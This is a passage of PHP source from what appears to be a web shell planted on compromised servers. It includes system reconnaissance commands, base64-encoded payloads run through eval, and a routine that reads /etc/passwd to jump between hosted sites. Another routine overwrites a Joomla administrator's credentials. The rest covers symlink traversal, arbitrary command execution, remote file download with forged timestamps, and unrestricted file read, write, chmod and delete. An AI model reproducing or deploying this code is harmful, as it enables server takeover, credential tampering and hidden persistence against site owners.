  1511.       echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>";
  1512.     }
  1513.   }
  1514.   if (!$win) {
  1515.     displaysecinfo("OS Version",myshellexec("cat /proc/version"));
  1516.     displaysecinfo("Kernel Version",myshellexec("sysctl -a | grep version"));
  1517.     displaysecinfo("Distrib Name",myshellexec("cat /etc/issue"));
  1518.     displaysecinfo("Distrib Name (2)",myshellexec("cat /etc/issue.rpmnew"));
  1519.     displaysecinfo("CPU Info",myshellexec("cat /proc/cpuinfo"));
  1520.     displaysecinfo("RAM",myshellexec("free -m"));
  1521.     displaysecinfo("HDD Space",myshellexec("df -h"));
  1522.     displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
  1523.     displaysecinfo("Mount Options",myshellexec("cat /etc/fstab"));
  1524.     displaysecinfo("cURL installed?",myshellexec("which curl"));
  1525.         displaysecinfo("lynx installed?",myshellexec("which lynx"));
  1526.     displaysecinfo("links installed?",myshellexec("which links"));
  1527.     displaysecinfo("fetch installed?",myshellexec("which fetch"));
  1528.     displaysecinfo("GET installed?",myshellexec("which GET"));
  1529.     displaysecinfo("perl installed?",myshellexec("which perl"));
  1530.     displaysecinfo("Where is Apache?",myshellexec("whereis apache"));
  1531.     displaysecinfo("Where is perl?",myshellexec("whereis perl"));
  1532.     displaysecinfo("Locate proftpd.conf",myshellexec("locate proftpd.conf"));
  1533.     displaysecinfo("Locate httpd.conf",myshellexec("locate httpd.conf"));
  1534.     displaysecinfo("Locate my.conf",myshellexec("locate my.conf"));
  1535.     displaysecinfo("Locate psybnc.conf",myshellexec("locate psybnc.conf"));
  1536.   }
  1537.   else {
  1538.     displaysecinfo("OS Version",myshellexec("ver"));
  1539.     displaysecinfo("Account Settings",myshellexec("net accounts"));
  1540.   }
  1541.   echo "</table>\n";
  1542. }
  1543.  
  1544. if ($x == "jump") {
  1545. $ngipmuj = base64_decode("YmFyX2hlYWRlcigiLjogSnVtcGluZyA6LiIpOw0KCSgkc20gPSBpbmlfZ2V0KCdzYWZlX21vZGUnKSA9PSAwKSA/ICRzbSA9ICdvZmYnOiBkaWUoJzxmb250IHNpemU9IjQiIGNvbG9yPSIjMDAwMDAwIiBmYWNlPSJDYWxpYnJpIj48Yj5FcnJvcjogU2FmZV9tb2RlID0gT248L2I+PC9mb250PicpOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQpAJHBhc3N3ZCA9IGZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsNCmlmICghJHBhc3N3ZCkgeyBkaWUoJzxmb250IHNpemU9IjQiIGNvbG9yPSIjMDAwMDAwI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T09PT09PT09PT1bLV0gPGJyPjwvZm9udD5cbiI7DQplY2hvICJcbiA8Zm9udCBzaXplPScyJyBjb2xvcj0nIzgwMDAwMCcgZmFjZT0nQ2FsaWJyaSc+SnVtcGluZyBTY2FubmVyIGlzIENvbXBsZXRlZCE8L2ZvbnQ+XG4iOw==");
  1546. eval ($ngipmuj);
  1547. }
  1548.  
  1549. if ($x == "joomla") {
  1550. $almooj = base64_decode("aWYgKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSkNCnsNCg0KJGg9Ijw/IGVjaG8oc3RyaXBzbGFzaGVzKGJhc2U2NF9kZWNvZGUoJyIudXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoc3RyX3JlcGxhY2UoIici
  1551. LCInIiwoJF9QT1NUWydjb2RlJ10pKSkpLiInKSkpOyBleGl0OyA/PiI7DQoNCiAkZGJwcmVmaXg9KCRfUE9TVFsnZGJfcHJlZml4J10pOw0KICR1c2VybmFtZT0oJF9QT1NUWydkYl91c2VybmFtZSdd
  1552. KTsNCiAkcGFzc3dvcmQ9KCRfUE9TVFsnZGJfcGFzc3dvcmQnXSk7DQogJGRibmFtZT0oJF9QT1NUWydkYl9uYW1lJ10pOw0KICAkc2l0ZV91cmw9KCRfUE9TVFsnc2l0ZV91cmwnXSk7DQoNCiRjbz1y
  1553. YW5kb210KCk7DQoNCg0KDQogICAgICAkbGluaz1teXNxbF9jb25uZWN0KCJsb2NhbGhvc3QiLCR1c2VybmFtZSwkcGFzc3dvcmQpIDsNCg0KICAgICAgICAgbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUs
  1554. JGxpbmspIDsNCg0KJHRyeUNoYW5pbmdJbmZvID0gbXlzcWxfcXVlcnkoIlVQREFURSAiLiRkYnByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lID0nYWRtaW4nICwgcGFzc3dvcmQgPSAnMzliYTY2MmE3
  1555. YmQ2MTk4NjYxNGJlNTU1OTBiMWE0NmQnIik7DQplY2hvKCI8YnI+Wyt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lsxXVswXS4nLz4nLiRyeDguJyA8L2E+IDwvZGl2Pg0KPC90ZD4NCg0KDQo8dGQ+DQonLiRyeDdbJ25hbWUnXS4iDQo8L3RkPg0KDQo8dGQ+DQo8YSBocmVmPSdzeW0vcm9vdC9ob21lLyIuJHJ4N1snbmFtZSddLiIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5zeW1saW5rIDwvYT4NCjwvdGQ+DQoNCjwvdHI+PC9kaXY+ICI7DQpmbHVzaCgpOw0KfQ0KfQ0KfQ0KfQ0KfQ0KfQ==");
  1644. eval ($knilmys);
  1645. }
  1646.  
  1647. if ($x == "mkfile") {
  1648. if ($mkfile != $d) {
  1649.   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object already exists!";}
  1650.   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied!";}
  1651.   else {$x = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  1652. }
  1653. else {$x = $dspact = "ls";}
  1654.  
  1655. }
  1656. if ($x == "chmod") {
  1657.   $mode = fileperms($d.$f);
  1658.   if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  1659.   else {
  1660.     $form = TRUE;
  1661.     if ($chmod_submit)
  1662.   {
  1663.    $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  1664.    if (chmod($d.$f,$octet)) {$x = "ls"; $form = FALSE; $err = "";}
  1665.    else {$err = "Can't chmod to ".$octet.".";}
  1666.   }
  1667.   if ($form)
  1668.   {
  1669.    $perms = parse_perms($mode);
  1670.    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=x value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  1671.   }
  1672. }
  1673. }
  1674. if ($x == "upload") {
  1675.   $uploadmess = "";
  1676.   $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  1677.   if (empty($uploadpath)) {$uploadpath = $d;}
  1678.   elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
  1679.   if (!empty($submit)) {
  1680.     global $_FILES;
  1681.     $uploadfile = $_FILES["uploadfile"];
  1682.     if (!empty($uploadfile["tmp_name"])) {
  1683.       if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  1684.       else {$destin = $userfilename;}
  1685.       if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
  1686.         $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
  1687.       }
  1688.       else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
  1689.     }
  1690.     elseif (!empty($uploadurl)) {
  1691.       if (!empty($uploadfilename)) {$destin = $uploadfilename;}
  1692.       else {
  1693.         $destin = explode("/",$destin);
  1694.         $destin = $destin[count($destin)-1];
  1695.         if (empty($destin)) {
  1696.           $i = 0;
  1697.           $b = "";
  1698.           while(file_exists($uploadpath.$destin)) {
  1699.             if ($i > 0) {$b = "_".$i;}
  1700.             $destin = "upload".$b;
  1701.             $i++;
  1702.           }
  1703.         }
  1704.       }
  1705.       if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorrect URL!</b>";}
  1706.       else {
  1707.         $st = getmicrotime();
  1708.         $content = @file_get_contents($uploadurl);
  1709.         $dt = round(getmicrotime()-$st,4);
  1710.         if (!$content) {$uploadmess .=  "Can't download file!";}
  1711.         else {
  1712.           if ($filestealth) {$stat = stat($uploadpath.$destin);}
  1713.           $fp = fopen($uploadpath.$destin,"w");
  1714.           if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
  1715.           else {
  1716.             fwrite($fp,$content,strlen($content));
  1717.             fclose($fp);
  1718.             if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
  1719.             $uploadmess .= "File saved from ".$uploadurl." !";
  1720.           }
  1721.         }
  1722.       }
  1723.     }
  1724.     else { echo "No file to upload!"; }
  1725.   }
  1726.   if ($miniform) {
  1727.     echo "<b>".$uploadmess."</b>";
  1728.     $x = "ls";
  1729.   }
  1730.   else {
  1731.     echo "<table><tr><td colspan=2 class=barheader>".
  1732.          ".: File Upload :.</td>".
  1733.          "<td colspan=2>".$uploadmess."</td></tr>".
  1734.          "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."x=upload&d=".urlencode($d)."\" method=POST>".
  1735.          "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
  1736.          "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
  1737.          "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
  1738.          "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
  1739.          "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
  1740.          "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
  1741.          "</form></td></tr></table>";
  1742.   }
  1743. }
  1744. if ($x == "delete") {
  1745.   $delerr = "";
  1746.   foreach ($actbox as $v) {
  1747.     $result = FALSE;
  1748.     $result = fs_rmobj($v);
  1749.     if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  1750.   }
  1751.   if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  1752.   $x = "ls";
  1753. }
  1754. if (!$usefsbuff) {
  1755.   if (($x == "paste") or ($x == "copy") or ($x == "cut") or ($x == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";}
  1756. }
  1757. else {
  1758.   if ($x == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ca_sess_put($sess_data); $x = "ls"; }
  1759.   elseif ($x == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ca_sess_put($sess_data); $x = "ls";}
  1760.   elseif ($x == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} ca_sess_put($sess_data); $x = "ls";}
  1761.   if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ca_sess_put($sess_data);}
  1762.   elseif ($actpastebuff) {
  1763.     $psterr = "";
  1764.     foreach($sess_data["copy"] as $k=>$v) {
  1765.       $to = $d.basename($v);
  1766.       if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1767.       if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1768.     }
  1769.     foreach($sess_data["cut"] as $k=>$v) {
  1770.       $to = $d.basename($v);
  1771.       if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1772.       unset($sess_data["cut"][$k]);
  1773.     }
  1774.     ca_sess_put($sess_data);
  1775.     if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1776.     $x = "ls";
  1777.   }
  1778.   elseif ($actarcbuff) {
  1779.     $arcerr = "";
  1780.     if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  1781.     else {$ext = ".tar.gz";}
  1782.     if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  1783.     $cmdline .= " ".$actarcbuff_path;
  1784.     $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  1785.     foreach($objects as $v) {
  1786.       $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  1787.       if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  1788.       if (is_dir($v)) {
  1789.         if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  1790.         $v .= "*";
  1791.       }
  1792.       $cmdline .= " ".$v;
  1793.     }
  1794.     $tmp = realpath(".");
  1795.     chdir($d);
  1796.     $ret = myshellexec($cmdline);
  1797.     chdir($tmp);
  1798.     if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  1799.     $ret = str_replace("\r\n","\n",$ret);
  1800.     $ret = explode("\n",$ret);
  1801.     if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  1802.     foreach($sess_data["cut"] as $k=>$v) {
  1803.       if (in_array($v,$ret)) {fs_rmobj($v);}
  1804.       unset($sess_data["cut"][$k]);
  1805.     }
  1806.     ca_sess_put($sess_data);
  1807.     if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  1808.     $x = "ls";
  1809.   }
  1810.   elseif ($actpastebuff) {
  1811.     $psterr = "";
  1812.     foreach($sess_data["copy"] as $k=>$v) {
  1813.       $to = $d.basename($v);
  1814.       if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1815.       if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1816.     }
  1817.     foreach($sess_data["cut"] as $k=>$v) {
  1818.       $to = $d.basename($v);
  1819.       if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1820.       unset($sess_data["cut"][$k]);
  1821.     }
  1822.     ca_sess_put($sess_data);
  1823.     if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1824.     $x = "ls";
  1825.   }
  1826. }
  1827. if ($x == "cmd") {
  1828.   @chdir($chdir);
  1829.   if (!empty($submit)) {
  1830.     echo "<div class=barheader>.: Result of Command Execution :.</div>";
  1831.     $olddir = realpath(".");
  1832.     @chdir($d);
  1833.     $ret = myshellexec($cmd);
  1834.     $ret = convert_cyr_string($ret,"d","w");
  1835.     if ($cmd_txt) {
  1836.       $rows = count(explode("\r\n",$ret))+1;
  1837.       if ($rows < 10) {$rows = 10; }
  1838.       if ($msie) { $cols = 113; }
  1839.       else { $cols = 117;}
  1840.       echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
  1841.     }
  1842.     else {echo $ret."<br>";}
  1843.     @chdir($olddir);
  1844.   }
  1845.   else {
  1846.     echo "<b>Command Execution</b>";
  1847.     if (empty($cmd_txt)) {$cmd_txt = TRUE;}
  1848.   }
  1849. }
  1850. if ($x == "ls") {
  1851.   if (count($ls_arr) > 0) { $list = $ls_arr; }
  1852.   else {
  1853.     $list = array();
  1854.     if ($h = @opendir($d)) {
  1855.       while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  1856.       closedir($h);
  1857.     }
  1858.   }
  1859.   if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}
  1860.   else {
  1861.     $objects = array();
  1862.     $vd = "f";
  1863.     if ($vd == "f") {
  1864.       $objects["head"] = array();
  1865.       $objects["folders"] = array();
  1866.       $objects["links"] = array();
  1867.       $objects["files"] = array();
  1868.       foreach ($list as $v) {
  1869.         $o = basename($v);
  1870.         $row = array();
  1871.         if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
  1872.         elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
  1873.         elseif (is_dir($v)) {
  1874.           if (is_link($v)) {$type = "LINK";}
  1875.           else {$type = "DIR";}
  1876.           $row[] = $v;
  1877.           $row[] = $type;
  1878.         }
  1879.         elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  1880.         $row[] = filemtime($v);
  1881.         if (!$win) {
  1882.           $ow = posix_getpwuid(fileowner($v));
  1883.           $gr = posix_getgrgid(filegroup($v));
  1884.           $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
  1885.         }
  1886.         $row[] = fileperms($v);
  1887.         if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  1888.         elseif (is_link($v)) {$objects["links"][] = $row;}
  1889.         elseif (is_dir($v)) {$objects["folders"][] = $row;}
  1890.         elseif (is_file($v)) {$objects["files"][] = $row;}
  1891.         $i++;
  1892.       }
  1893.       $row = array();
  1894.       $row[] = "<b>Name</b>";
  1895.       $row[] = "<b>Size</b>";
  1896.       $row[] = "<b>Date Modified</b>";
  1897.       if (!$win) {$row[] = "<b>Owner/Group</b>";}
  1898.       $row[] = "<b>Perms</b>";
  1899.       $row[] = "<b>Action</b>";
  1900.       $parsesort = parsesort($sort);
  1901.       $sort = $parsesort[0].$parsesort[1];
  1902.       $k = $parsesort[0];
  1903.       if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  1904.       $y = " <a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
  1905.       $y .= "<img src=\"".$surl."x=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  1906.       $row[$k] .= $y;
  1907.       for($i=0;$i<count($row)-1;$i++) {
  1908.         if ($i != $k) {$row[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
  1909.       }
  1910.       $v = $parsesort[0];
  1911.       usort($objects["folders"], "tabsort");
  1912.       usort($objects["links"], "tabsort");
  1913.       usort($objects["files"], "tabsort");
  1914.       if ($parsesort[1] == "d") {
  1915.         $objects["folders"] = array_reverse($objects["folders"]);
  1916.         $objects["files"] = array_reverse($objects["files"]);
  1917.       }
  1918.       $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  1919.       $tab = array();
  1920.       $tab["cols"] = array($row);
  1921.       $tab["head"] = array();
  1922.       $tab["folders"] = array();
  1923.       $tab["links"] = array();
  1924.       $tab["files"] = array();
  1925.       $i = 0;
  1926.       foreach ($objects as $a) {
  1927.         $v = $a[0];
  1928.         $o = basename($v);
  1929.         $dir = dirname($v);
  1930.         if ($disp_fullpath) {$disppath = $v;}
  1931.         else {$disppath = $o;}
  1932.         $disppath = str2mini($disppath,60);
  1933.         if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  1934.         elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  1935.         foreach ($regxp_highlight as $r) {
  1936.           if (ereg($r[0],$o)) {
  1937.             if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; bogelexit();}
  1938.             else {
  1939.               $r[1] = round($r[1]);
  1940.               $isdir = is_dir($v);
  1941.               if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
  1942.                 if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  1943.                 $disppath = $r[2].$disppath.$r[3];
  1944.                 if ($r[4]) {break;}
  1945.               }
  1946.             }
  1947.           }
  1948.         }
  1949.         $uo = urlencode($o);
  1950.         $ud = urlencode($dir);
  1951.         $uv = urlencode($v);
  1952.         $row = array();
  1953.         if ($o == ".") {
  1954.           $row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\">&nbsp;".$o."</a>";
  1955.           $row[] = "CURDIR";
  1956.         }
  1957.         elseif ($o == "..") {
  1958.           $row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\">&nbsp;".$o."</a>";
  1959.           $row[] = "UPDIR";
  1960.         }
  1961.         elseif (is_dir($v)) {
  1962.           if (is_link($v)) {
  1963.             $disppath .= " => ".readlink($v);
  1964.             $type = "LINK";
  1965.             $row[] = "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\">&nbsp;[".$disppath."]</a>";
  1966.           }
  1967.           else {
  1968.             $type = "DIR";
  1969.             $row[] =  "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\">&nbsp;[".$disppath."]</a>";
  1970.           }
  1971.           $row[] = $type;
  1972.         }
  1973.         elseif(is_file($v)) {
  1974.           $ext = explode(".",$o);
  1975.           $c = count($ext)-1;
  1976.           $ext = $ext[$c];
  1977.           $ext = strtolower($ext);
  1978.           $row[] =  "<a href=\"".$surl."x=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."</a>";
  1979.           $row[] = view_size($a[1]);
  1980.         }
  1981.         $row[] = date("d.m.Y H:i:s",$a[2]);
  1982.         if (!$win) {$row[] = $a[3];}
  1983.         $row[] = "<a href=\"".$surl."x=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  1984.         if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  1985.         else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  1986.         if (is_dir($v)) {$row[] = "<a href=\"".$surl."x=d&d=".$uv."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&nbsp;".$checkbox;}
  1987.         else {$row[] = "<a href=\"".$surl."x=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."x=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."x=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."x=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."x=img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;}
  1988.         if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  1989.         elseif (is_link($v)) {$tab["links"][] = $row;}
  1990.         elseif (is_dir($v)) {$tab["folders"][] = $row;}
  1991.         elseif (is_file($v)) {$tab["files"][] = $row;}
  1992.         $i++;
  1993.       }
  1994.     }
  1995.     $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  1996.     echo "<div class=barheader>[+] ";
  1997.     if (!empty($fx_infohead)) { echo $fx_infohead; }
  1998.     else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
  1999.     echo " [+]</div>\n";
  2000.     echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=x value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
  2001.          "<table class=explorer>";
  2002.     foreach($table as $row) {
  2003.       echo "<tr>";
  2004.       foreach($row as $v) {echo "<td>".$v."</td>";}
  2005.       echo "</tr>\r\n";
  2006.     }
  2007.     echo "</table>".
  2008.          "<script>".
  2009.          "function ls_setcheckboxall(status) {".
  2010.          " var id = 1; var num = ".(count($table)-2).";".
  2011.          " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
  2012.          "}".
  2013.          "function ls_reverse_all() {".
  2014.          " var id = 1; var num = ".(count($table)-2).";".
  2015.          " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
  2016.          "}".
  2017.          "</script>".
  2018.          "<div align=\"right\">".
  2019.          "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
  2020.          "<img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\">";
  2021.     if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
  2022.       echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  2023.     }
  2024.     echo "<select name=x><option value=\"".$x."\">With selected:</option>";
  2025.     echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  2026.     echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  2027.     if ($usefsbuff) {
  2028.       echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
  2029.       echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
  2030.       echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
  2031.     }
  2032.     echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>";
  2033.     echo "</form>";
  2034.   }
  2035. }
  2036. if ($x == "tools")
  2037. {
  2038.  
  2039. }
  2040. if ($x == "phpfsys") {
  2041.   echo "<div align=left>";
  2042.   $fsfunc = $phpfsysfunc;
  2043.   if ($fsfunc=="copy") {
  2044.     if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
  2045.     else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; }
  2046.   }
  2047.   elseif ($fsfunc=="rename") {
  2048.     if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
  2049.     else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; }
  2050.   }
  2051.   elseif ($fsfunc=="chmod") {
  2052.     if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
  2053.     else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; }
  2054.   }
  2055.   elseif ($fsfunc=="read") {
  2056.     $hasil = @file_get_contents($arg1);
  2057.     echo "<b>Filename:</b> $arg1<br>";
  2058.     echo "<textarea cols=150 rows=20>";
  2059.     echo $hasil;
  2060.     echo "</textarea>\n";
  2061.   }
  2062.   elseif ($fsfunc=="write") {
  2063.     if(@file_put_contents($d.$arg1,$arg2)) {
  2064.       echo "<b>Saved!</b> ".$d.$arg1;
  2065.     }
  2066.     else { echo "<div class=fxerrmsg>Couldn't write to $arg1!</div>"; }
  2067.   }
  2068.   elseif ($fsfunc=="downloadbin") {
  2069.     $handle = fopen($arg1, "rb");
  2070.     $contents = '';
  2071.     while (!feof($handle)) {
  2072.       $contents .= fread($handle, 8192);
  2073.     }
  2074.     $r = @fopen($d.$arg2,'w');
  2075.     if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
  2076.     else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
